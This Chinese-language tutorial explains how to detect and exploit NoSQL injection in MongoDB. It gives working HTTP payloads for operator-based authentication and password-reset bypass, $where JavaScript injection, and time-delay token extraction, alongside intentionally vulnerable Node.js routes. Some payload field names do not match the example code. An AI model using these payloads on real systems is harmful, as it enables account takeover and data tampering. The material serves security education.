
NoSQL 注入相对于经典 SQL 注入来说更容易利用,然而,开发者往往忽视这些漏洞,主要是因为安全意识不足。
此外,软件工程师中普遍存在的错误观念,即 NoSQL 数据库天生抵抗注入攻击,进一步增加了发现 NoSQLi 漏洞的可能性。
在本文,我们将深入探讨识别和利用高级 NoSQL 注入,同时我们还将分析几个示例,以更好地理解 NoSQLi 攻击。
什么是 NoSQL 数据库?
NoSQL 数据库是非关系型数据库系统,旨在处理各种数据模型,并为存储、检索和管理数据提供灵活的数据结构和模式。
与传统 SQL(结构化查询语言)数据库使用行和列组织数据不同,NoSQL 数据库使用替代的数据结构。
这种方法提供了多个好处,从提高性能(当数据存储和结构正确时)到易于扩展和灵活的存储选项,这些选项可以适应任何类型应用程序的需求。
一些 NoSQL 数据库的例子包括:
- MongoDB,一个流行的开源 NoSQL 数据库,支持
- Redis,一种常用于缓存数据的内存键值存储
- Elasticsearch,一种常用的 NoSQL 数据库,适用于大规模和复杂的搜索操作
- Apache CouchDB,一个流行的开源 NoSQL 数据库,支持本机 REST HTTP API
- Cloudflare KV 或 Amazon DynamoDB,都是知名的免服务器键值存储选项
什么是 NoSQL 注入漏洞?
与经典的 SQL 注入类似,NoSQL 注入源于将未经清洗的用户输入直接连接到数据库查询,这允许攻击者跳出上下文,操纵查询以:
- 通过注入操作符绕过身份验证表单
- 对现有记录更改
- 提取可能敏感的数据和其他文档
- 删除现有数据库记录或创建新的数据条目
- 执行拒绝服务攻击
- 在严重情况下,甚至执行系统命令
接下来我们探讨一下 SQL 和 NoSQL 注入之间的主要区别,因为这有助于今后识如何别它们。
经典 SQL 注入和 NoSQL 注入之间的主要区别
传统的 SQL 注入涉及破坏现有的 SQL 查询并引入一个“真值”语句。考虑以下查询示例:
SELECT * FROM customers WHERE customer_email = '[email protected]' AND password = 'hunter2';
假设请求体参数 customer_email 容易受到以下 POST 请求中的 SQL 注入(后端数据库为 MySQL)的影响:
POST /customer_zone/sign_in HTTP/2.0
Host: example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: ...
[email protected]&password=hunter2
我们能够发送Payload,绕过查询并无需密码登录任意账户:
[email protected]'+AND+TRUE;+--&password=anything
NoSQL 注入需要不同的利用方法,因为不支持 SQL(结构化查询语言),用于验证用户的等效数据库查询看起来像这样:
db.customers.findOne({ customer_email: '[email protected]', password: 'hunter2' })
NoSQL 数据库支持诸如 $gt 这样的运算符,帮助我们通过查找大于提供值的值来过滤字段。
回到我们的例子,如果我们的输入没有经过清理,我们可以发送以下 HTTP POST 请求,无需提供密码,就可以用任意用户账户登录:
POST /customer_zone/sign_in HTTP/2.0
Host: example.com
Content-Type: application/json
User-Agent: ...
{
"customer_email": "[email protected]",
"password": { "$gt": "" }
}
识别 NoSQL 注入漏洞
为了识别潜在的注入点,你需要打破当前语法或注入一个运算符,并观察任何响应变化,例如内容长度、状态码或响应头部的明显差异。
检查每个输入字段,并系统地注入不同类型的语法破坏字符,例如:
$
{
}
\
"
`
;
%00
也值得指出的是,许多 NoSQL 数据库它们都使用非标准化的语法语言。因此,建议首先绘制数据库的映射图,并熟悉其语法。在本文下一节的利用示例中,我们将主要关注 MongoDB。
利用简单的 NoSQL 注入
一种测试和利用 NoSQL 注入的方法是跳出语法并注入我们的逻辑来操纵查询,这可以帮我们将简单的注入漏洞升级为身份验证绕过。
让我们来看一个简单的例子!
通过操作符注入绕过身份验证
以下是一个应用程序路由,它帮助用户使用密码重置令牌重置密码:
// Application route handling password reset
app.post('/auth/reset-password', async (req, res) => {
const { email, resetToken, newPassword } = req.body;
try {
const token = await db.collection('auth-tokens').findOne({
email: email,
resetPasswordToken: resetToken,
resetPasswordExpires: { $gt: Date.now() }
});
if (!token) {
return res.status(400).json({ message: 'Password reset token is invalid or has expired' });
}
// Update user's password
await db.collection('users').updateOne({ email: email },
{ $set: {
password: await bcrypt.hash(newPassword, 10)
}
});
res.json({ message: 'Password has been reset' });
} catch (error) {
console.error('Error during password reset:', error);
res.status(500).json({ message: 'Server error' });
}
});
注意在第 8 行,密码重置令牌被直接连接到 MongoDB 查询中,我们可以使用一个操作符来操纵查询,使其成立。这样就可以重置任何用户账户的密码,而无需密码重置令牌:
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...
{
"email": "[email protected]",
"token": {"$ne": null},
"newPassword": "hunter2"
}
在我们的Payload中,我们使用了$ne 运算符,该运算符用于选择值不等于指定值的文档,在这种情况下为 null 。MongoDB 支持其他几个运算符:
$regex: 选择与指定正则表达式匹配的文档$where: 匹配满足 JavaScript 表达式的文档$exists: 匹配具有指定字段的文档$eq: 匹配等于指定值的值$ne:匹配不等于指定值的值$gt:匹配大于指定值的值
PS:如果你的应用程序处理所有请求体数据为表单数据,则可以使用参数数组。
一些参数解析器包提供了对参数数组的支持。如:
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...
[email protected]&token[$ne]=null&newPassword=hunter2
NoSQL 高级注入
通过时间延迟提取数据
与经典的 SQL 注入类似,我们也可以通过调用条件时间延迟从字段中提取数据。
回到之前提到的易受 NoSQL 注入攻击的密码重置功能示例,使用$where 运算符,我们可以注入 JavaScript 代码,如果条件匹配,则执行时间延迟:
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...
{
"email": "[email protected]",
"token": {
"$where": "if(this.token.startsWith('a')) {sleep(5000); return true;} else {return true;}"
},
"password": "hunter2"
}
如果管理员的重置令牌以 ‘a’ 开头,我们将注意到大约 5 秒的时间延迟。
为了使其工作,我们首先需要触发一个密码重置请求,然后可以制作一个工具,系统地尝试所有组合,直到提取出整个密码重置令牌。
让我们看看另一个例子,其中 JavaScript 代码可以帮助我们绕过身份验证。
使用 NoSQL 语法注入执行服务器端 JavaScript 代码
前面提到,使用 MongoDB 中的$where 运算符可以执行服务器端 JavaScript 代码。其它 NoSQL 数据库也提供了类似的功能,以帮助开发者创建更高级的查询过滤器。
如果我们的未经过滤的输入出现在 $where 子句中,我们就可以跳出语法,执行任意 JavaScript 代码来修改或窃取其他字段。以下是一个示例:
// Application route handling email unsubscribes
app.post('/newsletter/unsubscribe', async (req, res) => {
const { email, unsubscribeToken } = req.body;
try {
const subscriber = await db.collection('subscribers').findOne({
$where: 'this.email == ' + email + ' && this.unsubscribeToken == ' + unsubscribeToken
});
if (subscriber) {
// Update the subscriber's preferences
await db.collection('subscribers').updateOne(
{ email: email },
{ $set: { subscribed: false } }
);
res.json({ success: true, message: 'Successfully unsubscribed from all communication channels!' });
} else {
res.status(401).json({ success: false, message: 'Invalid email or token' });
}
} catch (error) {
console.error('Unsubscribe error:', error);
res.status(500).json({ success: false, message: 'Server error' });
}
});
在这种情况下,我们可以通过反复发送以下Payload来取消所有电子邮件收件人的订阅:
POST /newsletter/unsubscribe HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...
[email protected]'+||+TRUE;//&token=
Payload匹配所有电子邮件并消除了对令牌的需求:
this.email == '[email protected]' || TRUE; // && this.unsubscribeToken ==
二阶 NoSQL 注入
二阶 NoSQL 注入是另一种 NoSQL 注入类型,其中未经过清洗的输入被注入到应用程序中并存储(例如,在队列消息服务中),而不立即执行。
执行发生在稍后,当存储的数据被检索并以不安全的方式用于数据库查询时,这可能导致 NoSQL 注入。
尽管这些类型的 NoSQL 注入更难检测,但仍然值得测试它们。
结论
NoSQL 数据库天生免疫于注入攻击的观点是错误的,缺乏输入验证仍然可能对公司造成严重影响,正如本文中记录的那样。

